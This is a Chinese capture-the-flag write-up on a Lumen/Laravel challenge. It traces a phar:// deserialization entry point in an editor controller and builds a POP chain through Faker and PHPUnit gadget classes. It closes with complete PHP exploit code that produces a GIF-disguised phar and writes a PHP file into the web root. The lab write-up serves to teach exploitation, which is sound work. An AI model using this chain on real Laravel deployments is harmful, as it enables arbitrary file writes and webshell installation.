2019-03-22 21:35:06 Author: mp.weixin.qq.com(查看原文) 阅读量:2 收藏

本文首发于安全客,由红日安全团队成员Mochazz编写。

环境搭建

运行环境要求

  • PHP >= 7.1.3

  • OpenSSL PHP Extension

  • PDO PHP Extension

  • Mbstring PHP Extension

安装题目环境

运行题目代码

更多请参考:

https://laravel-china.org/docs/lumen/5.7/installation/2402

PS:更新P牛制作的docker环境

https://github.com/phith0n/code-breaking

漏洞点

在 routes/web.php 文件中,定义了 web 程序的路由,当我们以 GET 或 POST 方法访问http://website/server/editor的时候,程序就会调用app/Http/Controllers/EditorController.php类中的 main 方法。

我们进而看app/Http/Controllers/EditorController.php文件,很快便会发现有一个download方法中的$url变量没有经过任何处理用在了file_get_contents函数中,download方法代码如下:

这时我们便考虑$url变量是否可控,如果可控,便可以利用 phar反序列化 。我们回溯寻找$url变量来源,会发现在doCatchimage方法中,该变量值是从$sources变量来。而$sources变量由用户传来的source参数决定(通过http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif即可控制$url变量),相关代码如下:

那么接下来,我们就要寻找可利用的类方法,然后通过phar反序列化触发漏洞。

了解PHPGGC

在寻找pop链之前,我们不妨先看看phpggc中已有的4种关于Laravel框架 RCE 的payload生成方法,以便我们更快速的找出本题的pop链,其4种Laravel框架RCE的payload生成方法分别如下:

第1种

其反序列化时,类方法调用过程如下:

第2种

其反序列化时,类方法调用过程如下:

第3种

其反序列化时,类方法调用过程如下:

第4种

其反序列化时,类方法调用过程如下:

这里我选取第1种的phar反序列化执行结果图(题目环境为 PHP7.1.16 ):

然而本题目的环境还有一些额外的限制,例如PHP版本为7.2.14,且设置了禁用了如下函数和类(这个通过phpggc的第一个Larave框架RCE生成phpinfo函数的利用phar即可看到):

code

disable_functions:

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

disable_classes:

GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator

由于在 PHP7.x 版本中,很多函数禁止动态调用了,加上上面的这些限制,所以我们还需要寻找其他利用点,结合上述POP链,完成写shell。

开始寻找pop链

我们可以发现上面的4种RCE入口点都是从PendingBroadcast类的__destruct方法开始的,那么我们着重搜索dispatch方法和__call方法。经过一番搜索,发现ValidGenerator类中的__call比较好利用。

我们可以看到其代码中先调用了call_user_func_array函数,然后将call_user_func_array函数的执行结果又传入call_user_func函数,只要我们能控制住call_user_func_array函数的执行结果,相当call_user_func函数的两个参数都可控,这样我们便可以调用任意类方法。

我们接着搜索可以用于控制call_user_func_array函数执行结果的类,这里我找到了DefaultGenerator类的 __call 方法,我们可以看到返回值$this->default完全可控。

现在call_user_func($this->validator, $res)中的两个参数都可控了。那么如果我们想写shell,就要调用file_put_contents函数,而这个函数需要两个参数,所以直接通过call_user_func函数是无法使用该函数的,我们需要通过call_user_func_array 函数来使用file_put_contents函数,用法形如:call_user_func_array(‘file_put_contents’,array(‘shell.php’,’test’)) 。

通过直接搜索call_user_func_array函数,我们会发现两个比较好利用的类函数。但是这里的第一个ClosureWrapper类我们无法利用,所以得利用ReturnCallback类的invoke方法,具体代码如下:

很明显 invoke 方法两个参数都可控,现在我们只要构造好一个 Invocation 类对象即可。通过搜索,我们会发现 Invocation是一个接口,那么我们找到他的实现类即可。这里我找到了 StaticInvocation 类来实现上诉功能,其代码具体如下:

这样子,我们的整个POP链就构造好了。下面是 exp :

code

<?php

namespace Illuminate\Broadcasting{

   class PendingBroadcast{

       protected $events;

       protected $event;

       function __construct($events, $event){

           $this->events = $events;

           $this->event = $event;

       }

   }

};

namespace Faker{

   class DefaultGenerator{

       protected $default;

       public function __construct($default = null){

           $this->default = $default;

       }

   }

   class ValidGenerator{

       protected $generator;

       protected $validator;

       protected $maxRetries;

       // __call方法中有call_user_func_array、call_user_func

       public function __construct($generator, $validator = null, $maxRetries = 10000)

       {

           $this->generator = $generator;

           $this->validator = $validator;

           $this->maxRetries = $maxRetries;

       }

   }

};

namespace PHPUnit\Framework\MockObject\Stub{

   class ReturnCallback

   {

       private $callback;

       public function __construct($callback)

       {

           $this->callback = $callback;

       }

   }

};

namespace PHPUnit\Framework\MockObject\Invocation{

   class StaticInvocation{

       private $parameters;

       public function __construct($parameters){

           $this->parameters = $parameters;

       }

   }

};

namespace{

   $function = 'file_put_contents';

   $parameters = array('/var/www/html/11.php','<?php phpinfo();?>');

   $staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);

   $returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);

   $defaultgenerator = new Faker\DefaultGenerator($staticinvocation);

   $validgenerator = new Faker\ValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);

   $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($validgenerator,123);

   $o = $pendingbroadcast;

   $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行

   file_exists($filename) ? unlink($filename) : null;

   $phar=new Phar($filename);

   $phar->startBuffering();

   $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

   $phar->setMetadata($o);

   $phar->addFromString("foo.txt","bar");

   $phar->stopBuffering();

};

?>

最后

我们再通过下面这张图片,来理清整个POP链的调用过程。

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NjEyMDk0MA==&mid=2649847964&idx=1&sn=46bdc5a8c4aa8e253802ebed3dbd53d8&chksm=f3e4161fc4939f0916eeaaf554a94acb8cf1cd219ea1c47dbcc0e3d531909b724942a380fb99&mpshare=1&scene=24&srcid=#rd
如有侵权请联系:admin#unsafe.sh